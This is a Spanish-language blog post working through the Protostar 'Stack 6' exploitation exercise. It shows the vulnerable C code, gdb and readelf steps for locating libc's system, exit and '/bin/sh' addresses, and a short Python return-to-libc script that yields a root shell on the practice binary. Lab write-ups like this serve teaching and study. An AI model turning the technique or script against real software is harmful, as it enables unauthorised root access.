En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis los posts anteriores donde resolvemos los 6 primeros retos : (0-2) (3-4) (5).
Como dije en las entradas anteriores, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.
Stack 6
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
Leyendo el código fuente entendemos que no podremos resolver este reto como el anterior ya que no podremos dirigir el EIP a nuestro shellcode ya que se detectará que hemos modificado la dirección de retorno de la función getpath() a la pila.
Si aun os cuesta verlo, vamos a demostrarlo intentando redirigir la dirección de retorno a la pila (donde estaría nuestro shellcode)
Como veis si intentamos modificar la dirección de retorno el programa nos devuelve:
“input path please: bzzzt”
En cambio si no se modifica nos devuelve:
“got path”
Supongamos ahora que no tenemos el código fuente, desensamblemos el main() y getpath():
En <getpath+49> damos valor al registro EAX con el valor de [ebp-0xc]
En <getpath+52> efecutamos la operación EAX & 0xbf000000
En <getpath+57> comparamos el resultado de la operación anterior con 0xbf000000: si la EAX (tras el AND) es igual a 0xbf000000 nos saldremos (ya que significa que se ha modificado la dirección de retorno)
Veamoslo prácticamente, pondremos un breakpoint en <getpath + 52> para comprobar el valor del registro EAX y vemos que es la dirección de retorno:
Como si el binario estuviera compilado con NX no podremos ejecutar un shellcode cargado en la pila, ¿qué hacemos ahora?
Como leemos en Wikipedia: “Una pila no ejecutable puede evitar algunos exploits de desbordamiento de buffer, sin embargo no puede prevenir un ataque return-to-libc ya que en un ataque ret2libc solo se usa codigo existente.”
Básicamente en un exploit return-to-libc debemos sobreescribir la dirección de retorno con la dirección de una función presente en el proceso (en las librerias C) como la función System.
Lo primero será encontrar la longitud del relleno, la dirección de la función System, de la función exit y de la cadena “/bin/sh” presentes en la libreria C del proceso.
Busquemos la longitud del relleno:
· Busquemos las direccion de System, exit y “/bin/sh”
(gdb) info proc map 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so $ readelf -s /lib/libc-2.11.2.so | grep system 1399: 00038fb0 125 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 # o bien (gdb) p system $ readelf -s /lib/libc-2.11.2.so | grep exit 136: 0002f0c0 47 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 # o bien (gdb) p exit $ strings -tx /lib/libc-2.11.2.so | grep "/bin/sh" 11f3bf /bin/sh
Debemos sumar estas direcciones a la base (en nuestro caso 0xb7e97000):
base = 0xb7e97000 sys = base + 0x038fb0 exit = base + 0x0002f0c0 binsh = base + 0x011f3bf
Creemos nuestro exploit:
import struct def m32(dir): return struct.pack("I",dir) padding = "A" * 80 base = 0xb7e97000 sys = m32(base + 0x038fb0) exit = m32(base + 0x0002f0c0) binsh = m32(base + 0x011f3bf) print padding + sys + exit + binsh
(python stack6.py;cat)|./stack6
Ya somos podemos ejecutar comandos como root; este método nos sirve para bypasser el NX pero no el ASLR
0 comentarios
1 Pingback